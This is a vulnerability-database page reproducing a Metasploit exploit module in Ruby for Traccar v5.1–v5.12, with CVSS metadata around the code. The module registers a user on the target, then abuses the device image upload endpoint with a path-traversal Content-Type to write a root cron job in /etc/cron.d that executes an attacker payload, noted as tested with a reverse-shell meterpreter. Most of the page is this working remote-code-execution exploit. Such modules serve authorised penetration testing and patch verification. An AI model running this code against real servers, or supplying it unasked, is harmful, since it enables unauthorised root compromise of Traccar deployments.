Lucene search

K
metasploitMichael Heinzl, yiliufeng168, Naveen SunkavallyMSF:EXPLOIT-LINUX-HTTP-TRACCAR_RCE_UPLOAD-
HistoryAug 19, 2024 - 10:03 p.m.

Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)

2024-08-1922:03:36
Michael Heinzl, yiliufeng168, Naveen Sunkavally
www.rapid7.com
8
traccar v5
remote code execution
cve-2024-31214
cve-2024-24809
unauthorized users
file upload
root privileges
red hat-based linux
cronjob file.

CVSS3

9.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

AI Score

8

Confidence

Low

Remote Code Execution in Traccar v5.1 - v5.12. Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise. This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
        'Description' => %q{
          Remote Code Execution in Traccar v5.1 - v5.12.
          Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
          By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
          This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Heinzl', # MSF Module
          'yiliufeng168', # Discovery CVE-2024-24809 and PoC
          'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
        ],
        'References' => [
          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
          [ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
          [ 'CVE', '2024-31214'],
          [ 'CVE', '2024-24809']
        ],
        'DisclosureDate' => '2024-08-23',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => [ 'linux' ],
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
              'Type' => :unix_cmd
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x27" # apostrophe (')
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 75
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8082),
        OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
        OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
        OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
        OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/server')
    })

    return CheckCode::Unknown unless res && res.code == 200

    data = res.get_json_document
    version = data['version']
    if version.nil?
      return CheckCode::Unknown
    else
      vprint_status('Version retrieved: ' + version)
    end

    unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
      return CheckCode::Safe
    end

    return CheckCode::Appears
  end

  def exploit
    prepare_setup
    execute_command(payload.encoded)
  end

  def prepare_setup
    print_status('Registering new user...')
    body = {
      name: datastore['USERNAME'],
      email: datastore['EMAIL'],
      password: datastore['PASSWORD'],
      totpKey: nil
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/users'),
      'ctype' => 'application/json',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    auth_status = false

    # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
    # to run into when this module is executed more than once without updating the provided email address
    if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
      print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
      res = send_request_cgi(
        'method' => 'POST',
        'keep_cookies' => true,
        'uri' => normalize_uri(target_uri.path, 'api/session'),
        'ctype' => 'application/x-www-form-urlencoded',
        'vars_post' => {
          'email' => datastore['EMAIL'],
          'password' => datastore['PASSWORD']
        }
      )

      unless res
        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
      end

      json = res.get_json_document
      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
        print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
        fail_with(Failure::UnexpectedReply, res.to_s)
      end

      auth_status = true

    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    json = res.get_json_document

    unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
    end

    if auth_status == false
      print_status('Authenticating...')
      res = send_request_cgi(
        'method' => 'POST',
        'keep_cookies' => true,
        'uri' => normalize_uri(target_uri.path, 'api/session'),
        'ctype' => 'application/x-www-form-urlencoded',
        'vars_post' => {
          'email' => datastore['EMAIL'],
          'password' => datastore['PASSWORD']
        }
      )

      unless res
        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
      end

      json = res.get_json_document
      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
        fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
      end
    end
  end

  def execute_command(cmd)
    name_v = Rex::Text.rand_text_alphanumeric(16)
    unique_id_v = Rex::Text.rand_text_alphanumeric(16)

    body = {
      name: name_v,
      uniqueId: unique_id_v
    }.to_json

    print_status('Adding new device...')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/devices'),
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    json = res.get_json_document

    unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
    end

    id = json['id'].to_s
    body = Rex::Text.rand_text_alphanumeric(1..4)
    fn = Rex::Text.rand_text_alpha(1..2)

    print_status('Uploading crontab file...')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
      'keep_cookies' => true,
      'ctype' => 'image/png',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.to_s.include?('device.png')
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
      'keep_cookies' => true,
      'ctype' => "image/png;#{fn}=\"/b\"",
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    body = "* * * * * root /bin/bash -c '#{cmd}'\n"
    cronfn = SecureRandom.hex(12)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
      'keep_cookies' => true,
      'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
      'data' => body
    )

    register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    vprint_status('Cleanup: Deleting previously added device...')
    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
      'headers' => {
        'Connection' => 'close'
      }
    )

    unless res
      print_bad('Failed to receive a reply from the server, device removal might have failed.')
    end

    unless res.code == 204
      print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
    end

    # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
    print_status('Cronjob successfully written - waiting for execution...')
  end
end

CVSS3

9.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

AI Score

8

Confidence

Low

Related for MSF:EXPLOIT-LINUX-HTTP-TRACCAR_RCE_UPLOAD-